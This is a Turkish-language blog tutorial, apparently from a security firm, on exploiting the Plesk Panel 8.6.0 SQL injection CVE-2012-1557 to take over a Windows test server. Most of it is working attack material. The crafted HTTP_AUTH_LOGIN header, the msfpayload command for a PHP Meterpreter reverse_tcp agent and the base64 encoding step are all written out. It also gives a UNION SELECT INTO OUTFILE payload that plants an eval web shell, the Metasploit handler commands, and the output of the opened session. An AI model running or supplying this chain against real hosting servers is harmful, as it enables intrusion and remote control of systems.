Plesk Panel SQL Injection İstismari ile İşletim Sistemi Ele Geçirme

Bu yazı hosting sistemlerinde yönetim amaçlı kullanılan Plesk Panel yazılımına ait 8.6.0 versiyonunda çıkmış SQL injection zafiyetinin(CVE-2012-1557) istismar edilerek arka planda çalışan işletim sisteminin (yazıda Windows örneği kullanılmıştır) ele geçirilmesi adımlarını anlatmaktadır.

Senaryo :
Paralell Plesk Panel 8.6.0(CVE-2012-1557) SQL Enjeksiyon istismarı ile hedef sistemi ele geçirme.



Kullanılan Araçlar :
PHP Meterpreter Ajanı(Metasploit ile oluşturulacak.)
Burp, Tamper Data ya da HTTP Header’ı Düzenleyen Araç vs… Araç



Yapıldığı Test Ortamı :
Windows Server 2008 R2



İstismara Sebep olan Yöntem :
İstismar, API RPC Protokolunu kullanan sistemden kaynaklanıyor. API RPC, Panel ile 3. parti yazılımları arasında kopru gorevi goren bir protokoldur. API RPC üzerinden bir işlemi gerçekleştirebilmek için kullanacağımız noktalardan bir tanesi (https://[IP ADRESI]/enterprise/control/agent.php) üzerinden üzerinden HTTP isteği göndermemiz gerekiyor. Bize geriye XML çıktı göndermektedir. 
Bu XML bir çeşit hata mesajı yada data geriye sonuc olarak döndürmektedir. Protokol istekleri bir XML yapıya göre işlediği için, en azından boş değere sahip xml etiketlerini belirtmemiz gerekiyor. (Aşağıda belitilmiştir.)

Buradan HTTP üzerinden gönderebileceğimiz HTTP_AUTH_LOGIN ve HTTP_AUTH_PASSWD parametrelerini kullanmak zorundayız. Protokol Panelin kullanmış olduğu(MySQL yada MSSQL) üzerinden sorgulamalar yapmaktadır. Bu sorgulamalar yapılırken HTTP_AUTH_LOGIN parametresi üzerinde hiç bir önlem alınmamış.



Birinci Adım : SQL Enjeksiyonun Tespiti



Header içeriği :
POST https://6.6.6.4:8443/enterprise/control/agent.php
HTTP_AUTH_LOGIN: ‘
HTTP_AUTH_PASSWD: bgatest
Content-type: text/xml
Cookie: ASPSESSIONIDACSSBBAD=HMILPMGDCDINOCGDAEAOHJNF
Host: 6.6.6.4:8443
Content-Length: 89
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Content-Type: text/xml
Header isteğimizi gönderdikten sonraki bize dönen sonuç, bir sql enjeksiyon istismarı olduğunu gösteriyor.
Çıktı :
   
  
   error
   1002
   DB query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1
  

  

   C:ParallelsPleskadminplibcommon_func.php3:243
C:ParallelsPleskadminplibclass.AdminAlias.php:313
C:ParallelsPleskadminplibcmd_loginup.php:147
C:ParallelsPleskadminplibapi-rpcAgent.php:134
C:ParallelsPleskadminhtdocsenterprisecontrolagent.php:22



  

   

İkinci Adım : Shell Oluşturulması
Sisteme arka kapı yazılımıyüklemek için Metasploit ile PHP Meterpreter ajanı oluşturulabilir. Bunun için;



msfpayload php/meterpreter/reverse_tcp LHOST=[IP ADRESINIZ] LPORT=6666 R > exploit.php



exploit.php dosyasının içeriğini açtığımız zaman,içerisinde reverse tcp bizim sisteme reverse tcp bağlantısı kurabilecek kodlar bulunmaktadır.



Oluşan dosya içerisinde yorum satırlarını kaldırarak, base 64 ile encode edilebilir.
sed  -e ‘/^s*[@#]/ d’ exploit.php | base64 >> new_exploit.php



Böylelikle encode edilmiş istismar kodumuz oluşmuş oldu.



Üçüncü Adım : Shell Dosyasının Gönderilmesi



Oluşan base 64 kodunu alarak, header’a ekleyelim. Sadece yukarıda belirtilen headerdan aşağıdaki değişiklik yapılır.
HTTP_AUTH_LOGIN: ‘ UNION SELECT ‘<?php eval(base64_decode(“[BASE64 CODE]”)); ?>’ INTO OUTFILE ‘C:ParallelsPleskadminhtdocsenterprisecontrolshell.php’#



OUTFILE : Dosyanın çıktının nereye alınacağını belirtir. Normalde Plesk Panel, Kurulum yeri değiştirilmediği sürece “Program Files” altına yüklemektedir.



HTTP isteğini gönderdikten sonra Karşımız şu şekilde sonuç çıkacaktır. Bu işlemimizin başarılı olarak gerçekleştiğini ortaya koymaktadır.



Fatal error: Call to a member function fetch_row() on a non-object in C:ParallelsPleskadminplibcommon_func.php3 on line 337



Dördüncü Adım : Metasploit ile sistemi ele geçimek



Metasploit başlatılarak, use exploit/multi/handler diyerek dinleme moduna alınır. reverse_tcp payload modülü yüklenir.



msf > use exploit/multi/handler
msf  exploit(handler) > set LHOST [IP_ADRESINIZ]
msf  exploit(handler) > set LPORT 6666
LPORT => 6666
msf  exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.4:6666
[*] Starting the payload handler…



Dinlemeyi başlattıktan sonra, shell’i attığınız dizinden tarayıcıdan sayfa çağırılır.
https://[IP_ADRESINIZ]:8443/enterprise/control/shell.php



Bu işlemden sonra hedef sistem artık ele geçirilmiştir.



[*] Sending stage (39848 bytes) to 6.6.6.4
[*] Meterpreter session 1 opened (6.6.6.154:6666 -> 6.6.6.4:49329) at 2014-01-07 18:46:50 +0200



meterpreter > sysinfo
Computer : WIN-KF2TKNVRA40
OS       : Windows NT WIN-KF2TKNVRA40 6.1 build 7600

Meterpreter : php/php

Rizacan TUFAN < rizacan.tufan@bga.com.tr >